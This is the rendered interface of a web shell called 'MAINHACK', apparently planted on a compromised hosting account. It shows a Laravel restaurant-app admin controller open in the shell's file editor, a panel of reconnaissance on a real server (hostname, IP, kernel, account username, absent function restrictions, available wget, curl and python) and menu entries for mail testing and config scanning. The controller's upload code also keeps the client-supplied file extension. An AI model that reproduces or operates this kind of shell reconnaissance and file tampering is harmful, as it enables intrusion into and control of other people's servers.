[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: BusinessSettingsController.php
<?php namespace App\Http\Controllers\Admin; use App\Http\Controllers\Controller; use Illuminate\Http\Request; use App\Models\Restaurant; use App\Models\Currency; use App\Models\BusinessSetting; use Brian2694\Toastr\Facades\Toastr; use Carbon\Carbon; use App\Models\Blog; use Illuminate\Support\Facades\DB; use Illuminate\Support\Facades\Storage; use App\CentralLogics\Helpers; use Illuminate\Support\Str; use Illuminate\Support\Facades\Session; class BusinessSettingsController extends Controller { private $restaurant; public function business_index() { return view('admin-views.business-settings.business-index'); } public function blog_rafyal(){ // dd('fdsaf'); return view('admin-views.business-settings.blogs'); } public function blog_store(Request $request) { // dd($request->all()); $blogs = new Blog(); $blogs->title = $request->title; // // $request->slug = Str::slug($request->slug, '-'); $blogs->slug = Str::slug($request->title, '-'); $blogs->meta_title = $request->meta_title; $blogs->short_desc = $request->short_desc; $blogs->meta_desc = $request->meta_desc; $blogs->long_desc = $request->long_desc; if ($request->hasfile('blog_img')) { $file = $request->file('blog_img'); $filenameWithExt = $file->getClientOriginalName(); $filename = pathinfo($filenameWithExt, PATHINFO_FILENAME); $filename = preg_replace("/[^A-Za-z0-9 ]/", '', $filename); $filename = preg_replace("/\s+/", '-', $filename); $extension = $file->getClientOriginalExtension(); $fileNameToStore = $filename . '_' . time() . '.' . $extension; $destinationPath = 'student_id_cards'; $file->move($destinationPath, $fileNameToStore); $blogs->blog_image = $destinationPath . '/' . $fileNameToStore; } $blogs->save(); return back(); } public function UpdateBlog(Request $request, $id) { $blogs = Blog::find($id); $blogs->title = $request->title; // // $request->slug = Str::slug($request->slug, '-'); $blogs->slug = Str::slug($request->slug, '-'); $blogs->meta_title = $request->meta_title; $blogs->short_desc = $request->short_desc; $blogs->meta_desc = $request->meta_desc; $blogs->long_desc = $request->long_desc; if ($request->hasfile('blog_img')) { $file = $request->file('blog_img'); $filenameWithExt = $file->getClientOriginalName(); $filename = pathinfo($filenameWithExt, PATHINFO_FILENAME); $filename = preg_replace("/[^A-Za-z0-9 ]/", '', $filename); $filename = preg_replace("/\s+/", '-', $filename); $extension = $file->getClientOriginalExtension(); $fileNameToStore = $filename . '_' . time() . '.' . $extension; $destinationPath = 'student_id_cards'; $file->move($destinationPath, $fileNameToStore); $blogs->blog_image = $destinationPath . '/' . $fileNameToStore; } $blogs->save(); return redirect()->back(); } public function BlogDetail(){ // dd(1234); $data = DB::table('blogs')->get(); // dd($data); return view('admin-views.business-settings.blog-detail', compact('data')); } // function EditBlogDetail($id){ // // dd(324); // $data = DB::table('blogs')->where('id' ,$id)->get(); // // dd($data); // return view('admin-views.edit-blog',compact('data')); // } public function deleteBlog($id) { // dd($id); $blogs = Blog::findOrFail($id); if ($blogs) $blogs->delete(); Session::flash('flash_message_sucess', 'Role Sucessfully Delete!!!.'); Session::flash('alert-class', 'alert-success'); return redirect()->back(); } function EditBlogDetail($id){ // dd(324); $data = DB::table('blogs')->where('id' ,$id)->first(); // dd($data); return view('admin-views.edit-blog',compact('data')); } public function business_setup(Request $request) { if(env('APP_MODE')=='demo') { Toastr::info(trans('messages.update_option_is_disable_for_demo')); return back(); } DB::table('business_settings')->updateOrInsert(['key' => 'business_name'], [ 'value' => $request['restaurant_name'] ]); DB::table('business_settings')->updateOrInsert(['key' => 'currency'], [ 'value' => $request['currency'] ]); DB::table('business_settings')->updateOrInsert(['key' => 'timezone'], [ 'value' => $request['timezone'] ]); $curr_logo = BusinessSetting::where(['key' => 'logo'])->first(); if ($request->has('logo')) { $image_name = Helpers::update('business/', $curr_logo->value, 'png', $request->file('logo')); } else { $image_name = $curr_logo['value']; } DB::table('business_settings')->updateOrInsert(['key' => 'logo'], [ 'value' => $image_name ]); DB::table('business_settings')->updateOrInsert(['key' => 'phone'], [ 'value' => $request['phone'] ]); DB::table('business_settings')->updateOrInsert(['key' => 'email_address'], [ 'value' => $request['email'] ]); DB::table('business_settings')->updateOrInsert(['key' => 'address'], [ 'value' => $request['address'] ]); DB::table('business_settings')->updateOrInsert(['key' => 'footer_text'], [ 'value' => $request['footer_text'] ]); DB::table('business_settings')->updateOrInsert(['key' => 'customer_verification'], [ 'value' => $request['customer_verification'] ]); DB::table('business_settings')->updateOrInsert(['key' => 'order_delivery_verification'], [ 'value' => $request['odc'] ]); DB::table('business_settings')->updateOrInsert(['key' => 'minimum_shipping_charge'], [ 'value' => $request['minimum_shipping_charge'] ]); DB::table('business_settings')->updateOrInsert(['key' => 'per_km_shipping_charge'], [ 'value' => $request['per_km_shipping_charge'] ]); DB::table('business_settings')->updateOrInsert(['key' => 'currency_symbol_position'], [ 'value' => $request['currency_symbol_position'] ]); DB::table('business_settings')->updateOrInsert(['key' => 'schedule_order'], [ 'value' => $request['schedule_order'] ]); DB::table('business_settings')->updateOrInsert(['key' => 'order_confirmation_model'], [ 'value' => $request['order_confirmation_model'] ]); DB::table('business_settings')->updateOrInsert(['key' => 'tax'], [ 'value' => $request['tax'] ]); DB::table('business_settings')->updateOrInsert(['key' => 'admin_commission'], [ 'value' => $request['admin_commission'] ]); DB::table('business_settings')->updateOrInsert(['key' => 'country'], [ 'value' => $request['country'] ]); DB::table('business_settings')->updateOrInsert(['key' => 'default_location'], [ 'value' => json_encode(['lat'=>$request['latitude'], 'lng'=>$request['longitude']]) ]); DB::table('business_settings')->updateOrInsert(['key' => 'admin_order_notification'], [ 'value' => $request['admin_order_notification'] ]); DB::table('business_settings')->updateOrInsert(['key' => 'free_delivery_over'], [ 'value' => $request['free_delivery_over_status']?$request['free_delivery_over']:null ]); DB::table('business_settings')->updateOrInsert(['key' => 'dm_maximum_orders'], [ 'value' => $request['dm_maximum_orders'] ]); Toastr::success(trans('messages.successfully_updated_to_changes_restart_user_app')); return back(); } public function mail_index() { return view('admin-views.business-settings.mail-index'); } public function mail_config(Request $request) { if(env('APP_MODE')=='demo') { Toastr::info(trans('messages.update_option_is_disable_for_demo')); return back(); } BusinessSetting::updateOrInsert(['key' => 'mail_config'], [ 'value' => json_encode([ "name" => $request['name'], "host" => $request['host'], "driver" => $request['driver'], "port" => $request['port'], "username" => $request['username'], "email_id" => $request['email'], "encryption" => $request['encryption'], "password" => $request['password'] ]), 'updated_at' => now() ]); Toastr::success(trans('messages.configuration_updated_successfully')); return back(); } public function payment_index() { return view('admin-views.business-settings.payment-index'); } public function payment_update(Request $request, $name) { if ($name == 'cash_on_delivery') { $payment = BusinessSetting::where('key', 'cash_on_delivery')->first(); if (isset($payment) == false) { DB::table('business_settings')->insert([ 'key' => 'cash_on_delivery', 'value' => json_encode([ 'status' => $request['status'], ]), 'created_at' => now(), 'updated_at' => now(), ]); } else { DB::table('business_settings')->where(['key' => 'cash_on_delivery'])->update([ 'key' => 'cash_on_delivery', 'value' => json_encode([ 'status' => $request['status'], ]), 'updated_at' => now(), ]); } } elseif ($name == 'digital_payment') { $payment = BusinessSetting::where('key', 'digital_payment')->first(); if (isset($payment) == false) { DB::table('business_settings')->insert([ 'key' => 'digital_payment', 'value' => json_encode([ 'status' => $request['status'], ]), 'created_at' => now(), 'updated_at' => now(), ]); } else { DB::table('business_settings')->where(['key' => 'digital_payment'])->update([ 'key' => 'digital_payment', 'value' => json_encode([ 'status' => $request['status'], ]), 'updated_at' => now(), ]); } } elseif ($name == 'ssl_commerz_payment') { $payment = BusinessSetting::where('key', 'ssl_commerz_payment')->first(); if (isset($payment) == false) { DB::table('business_settings')->insert([ 'key' => 'ssl_commerz_payment', 'value' => json_encode([ 'status' => 1, 'store_id' => '', 'store_password' => '', ]), 'created_at' => now(), 'updated_at' => now(), ]); } else { DB::table('business_settings')->where(['key' => 'ssl_commerz_payment'])->update([ 'key' => 'ssl_commerz_payment', 'value' => json_encode([ 'status' => $request['status'], 'store_id' => $request['store_id'], 'store_password' => $request['store_password'], ]), 'updated_at' => now(), ]); } } elseif ($name == 'razor_pay') { $payment = BusinessSetting::where('key', 'razor_pay')->first(); if (isset($payment) == false) { DB::table('business_settings')->insert([ 'key' => 'razor_pay', 'value' => json_encode([ 'status' => 1, 'razor_key' => '', 'razor_secret' => '', ]), 'created_at' => now(), 'updated_at' => now(), ]); } else { DB::table('business_settings')->where(['key' => 'razor_pay'])->update([ 'key' => 'razor_pay', 'value' => json_encode([ 'status' => $request['status'], 'razor_key' => $request['razor_key'], 'razor_secret' => $request['razor_secret'], ]), 'updated_at' => now(), ]); } } elseif ($name == 'paypal') { $payment = BusinessSetting::where('key', 'paypal')->first(); if (isset($payment) == false) { DB::table('business_settings')->insert([ 'key' => 'paypal', 'value' => json_encode([ 'status' => 1, 'paypal_client_id' => '', 'paypal_secret' => '', ]), 'created_at' => now(), 'updated_at' => now(), ]); } else { DB::table('business_settings')->where(['key' => 'paypal'])->update([ 'key' => 'paypal', 'value' => json_encode([ 'status' => $request['status'], 'paypal_client_id' => $request['paypal_client_id'], 'paypal_secret' => $request['paypal_secret'], ]), 'updated_at' => now(), ]); } } elseif ($name == 'stripe') { $payment = BusinessSetting::where('key', 'stripe')->first(); if (isset($payment) == false) { DB::table('business_settings')->insert([ 'key' => 'stripe', 'value' => json_encode([ 'status' => 1, 'api_key' => '', 'published_key' => '', ]), 'created_at' => now(), 'updated_at' => now(), ]); } else { DB::table('business_settings')->where(['key' => 'stripe'])->update([ 'key' => 'stripe', 'value' => json_encode([ 'status' => $request['status'], 'api_key' => $request['api_key'], 'published_key' => $request['published_key'], ]), 'updated_at' => now(), ]); } } elseif ($name == 'senang_pay') { $payment = BusinessSetting::where('key', 'senang_pay')->first(); if (isset($payment) == false) { DB::table('business_settings')->insert([ 'key' => 'senang_pay', 'value' => json_encode([ 'status' => 1, 'secret_key' => '', 'published_key' => '', 'merchant_id' => '', ]), 'created_at' => now(), 'updated_at' => now(), ]); } else { DB::table('business_settings')->where(['key' => 'senang_pay'])->update([ 'key' => 'senang_pay', 'value' => json_encode([ 'status' => $request['status'], 'secret_key' => $request['secret_key'], 'published_key' => $request['publish_key'], 'merchant_id' => $request['merchant_id'], ]), 'updated_at' => now(), ]); } } elseif ($name == 'paystack') { $payment = BusinessSetting::where('key', 'paystack')->first(); if (isset($payment) == false) { DB::table('business_settings')->insert([ 'key' => 'paystack', 'value' => json_encode([ 'status' => 1, 'publicKey' => '', 'secretKey' => '', 'paymentUrl' => '', 'merchantEmail' => '', ]), 'created_at' => now(), 'updated_at' => now(), ]); } else { DB::table('business_settings')->where(['key' => 'paystack'])->update([ 'key' => 'paystack', 'value' => json_encode([ 'status' => $request['status'], 'publicKey' => $request['publicKey'], 'secretKey' => $request['secretKey'], 'paymentUrl' => $request['paymentUrl'], 'merchantEmail' => $request['merchantEmail'], ]), 'updated_at' => now(), ]); } } elseif ($name == 'flutterwave') { $payment = BusinessSetting::where('key', 'flutterwave')->first(); if (isset($payment) == false) { DB::table('business_settings')->insert([ 'key' => 'flutterwave', 'value' => json_encode([ 'status' => 1, 'public_key' => '', 'secret_key' => '', 'hash' => '', ]), 'created_at' => now(), 'updated_at' => now(), ]); } else { DB::table('business_settings')->where(['key' => 'flutterwave'])->update([ 'key' => 'flutterwave', 'value' => json_encode([ 'status' => $request['status'], 'public_key' => $request['public_key'], 'secret_key' => $request['secret_key'], 'hash' => $request['hash'], ]), 'updated_at' => now(), ]); } } elseif ($name == 'mercadopago') { $payment = BusinessSetting::updateOrInsert(['key'=> 'mercadopago'], ['value' => json_encode([ 'status' => $request['status'], 'public_key' => $request['public_key'], 'access_token' => $request['access_token'], ]), 'updated_at' => now()] ); } Toastr::success(trans('messages.payment_settings_updated')); return back(); } public function app_settings() { return view('admin-views.business-settings.app-settings'); } public function update_app_settings(Request $request) { DB::table('business_settings')->updateOrInsert(['key' => 'app_minimum_version_android'], [ 'value' => $request['app_minimum_version_android'] ]); DB::table('business_settings')->updateOrInsert(['key' => 'app_minimum_version_ios'], [ 'value' => $request['app_minimum_version_ios'] ]); DB::table('business_settings')->updateOrInsert(['key' => 'app_url_android'], [ 'value' => $request['app_url_android'] ]); DB::table('business_settings')->updateOrInsert(['key' => 'app_url_ios'], [ 'value' => $request['app_url_ios'] ]); Toastr::success(trans('messages.app_settings_updated')); return back(); } public function currency_index() { return view('admin-views.business-settings.currency-index'); } public function currency_store(Request $request) { $request->validate([ 'currency_code' => 'required|unique:currencies', ]); Currency::create([ "country" => $request['country'], "currency_code" => $request['currency_code'], "currency_symbol" => $request['symbol'], "exchange_rate" => $request['exchange_rate'], ]); Toastr::success(trans('messages.currency_added_successfully')); return back(); } public function currency_edit($id) { $currency = Currency::find($id); return view('admin-views.business-settings.currency-update', compact('currency')); } public function currency_update(Request $request, $id) { Currency::where(['id' => $id])->update([ "country" => $request['country'], "currency_code" => $request['currency_code'], "currency_symbol" => $request['symbol'], "exchange_rate" => $request['exchange_rate'], ]); Toastr::success(trans('messages.currency_updated_successfully')); return redirect('vendor-panel/business-settings/currency-add'); } public function currency_delete($id) { Currency::where(['id' => $id])->delete(); Toastr::success(trans('messages.currency_deleted_successfully')); return back(); } public function terms_and_conditions() { $tnc = BusinessSetting::where(['key' => 'terms_and_conditions'])->first(); if ($tnc == false) { BusinessSetting::insert([ 'key' => 'terms_and_conditions', 'value' => '' ]); } return view('admin-views.business-settings.terms-and-conditions', compact('tnc')); } public function terms_and_conditions_update(Request $request) { BusinessSetting::where(['key' => 'terms_and_conditions'])->update([ 'value' => $request->tnc ]); Toastr::success(trans('messages.terms_and_condition_updated')); return back(); } public function privacy_policy() { $data = BusinessSetting::where(['key' => 'privacy_policy'])->first(); if ($data == false) { $data = [ 'key' => 'privacy_policy', 'value' => '', ]; BusinessSetting::insert($data); } return view('admin-views.business-settings.privacy-policy', compact('data')); } public function privacy_policy_update(Request $request) { BusinessSetting::where(['key' => 'privacy_policy'])->update([ 'value' => $request->privacy_policy, ]); Toastr::success(trans('messages.privacy_policy_updated')); return back(); } public function about_us() { $data = BusinessSetting::where(['key' => 'about_us'])->first(); if ($data == false) { $data = [ 'key' => 'about_us', 'value' => '', ]; BusinessSetting::insert($data); } return view('admin-views.business-settings.about-us', compact('data')); } public function about_us_update(Request $request) { BusinessSetting::where(['key' => 'about_us'])->update([ 'value' => $request->about_us, ]); Toastr::success(trans('messages.about_us_updated')); return back(); } public function fcm_index() { return view('admin-views.business-settings.fcm-index'); } public function update_fcm(Request $request) { DB::table('business_settings')->updateOrInsert(['key' => 'fcm_project_id'], [ 'value' => $request['fcm_project_id'] ]); DB::table('business_settings')->updateOrInsert(['key' => 'push_notification_key'], [ 'value' => $request['push_notification_key'] ]); Toastr::success(trans('messages.settings_updated')); return back(); } public function update_fcm_messages(Request $request) { DB::table('business_settings')->updateOrInsert(['key' => 'order_pending_message'], [ 'value' => json_encode([ 'status' => $request['pending_status'] == 1 ? 1 : 0, 'message' => $request['pending_message'] ]) ]); DB::table('business_settings')->updateOrInsert(['key' => 'order_confirmation_msg'], [ 'value' => json_encode([ 'status' => $request['confirm_status'] == 1 ? 1 : 0, 'message' => $request['confirm_message'] ]) ]); DB::table('business_settings')->updateOrInsert(['key' => 'order_processing_message'], [ 'value' => json_encode([ 'status' => $request['processing_status'] == 1 ? 1 : 0, 'message' => $request['processing_message'] ]) ]); DB::table('business_settings')->updateOrInsert(['key' => 'out_for_delivery_message'], [ 'value' => json_encode([ 'status' => $request['out_for_delivery_status'] == 1 ? 1 : 0, 'message' => $request['out_for_delivery_message'] ]) ]); DB::table('business_settings')->updateOrInsert(['key' => 'order_delivered_message'], [ 'value' => json_encode([ 'status' => $request['delivered_status'] == 1 ? 1 : 0, 'message' => $request['delivered_message'] ]) ]); DB::table('business_settings')->updateOrInsert(['key' => 'delivery_boy_assign_message'], [ 'value' => json_encode([ 'status' => $request['delivery_boy_assign_status'] == 1 ? 1 : 0, 'message' => $request['delivery_boy_assign_message'] ]) ]); // DB::table('business_settings')->updateOrInsert(['key' => 'delivery_boy_start_message'], [ // 'value' => json_encode([ // 'status' => $request['delivery_boy_start_status'] == 1 ? 1 : 0, // 'message' => $request['delivery_boy_start_message'] // ]) // ]); DB::table('business_settings')->updateOrInsert(['key' => 'delivery_boy_delivered_message'], [ 'value' => json_encode([ 'status' => $request['delivery_boy_delivered_status'] == 1 ? 1 : 0, 'message' => $request['delivery_boy_delivered_message'] ]) ]); DB::table('business_settings')->updateOrInsert(['key' => 'order_handover_message'], [ 'value' => json_encode([ 'status' => $request['order_handover_message_status'] == 1 ? 1 : 0, 'message' => $request['order_handover_message'] ]) ]); DB::table('business_settings')->updateOrInsert(['key' => 'order_cancled_message'], [ 'value' => json_encode([ 'status' => $request['order_cancled_message_status'] == 1 ? 1 : 0, 'message' => $request['order_cancled_message'] ]) ]); Toastr::success(trans('messages.message_updated')); return back(); } public function location_index() { return view('admin-views.business-settings.location-index'); } public function location_setup(Request $request) { $restaurant = Helpers::get_restaurant_id(); $restaurant->latitude=$request['latitude']; $restaurant->longitude=$request['longitude']; $restaurant->save(); Toastr::success(trans('messages.settings_updated')); return back(); } public function config_setup() { return view('admin-views.business-settings.config'); } public function config_update(Request $request) { DB::table('business_settings')->updateOrInsert(['key' => 'map_api_key'], [ 'value' => $request['map_api_key'] ]); DB::table('business_settings')->updateOrInsert(['key' => 'map_api_key_server'], [ 'value' => $request['map_api_key_server'] ]); Toastr::success(trans('messages.config_data_updated')); return back(); } public function toggle_settings($key, $value) { DB::table('business_settings')->updateOrInsert(['key' => $key], [ 'value' => $value ]); Toastr::success(trans('messages.app_settings_updated')); return back(); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium166.web-hosting.com
Server IP: 162.0.209.40
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium166.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 75.11 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: kataubyb
User ID (UID): 624
Group ID (GID): 625
Script Owner UID: 624
Current Dir Owner: 624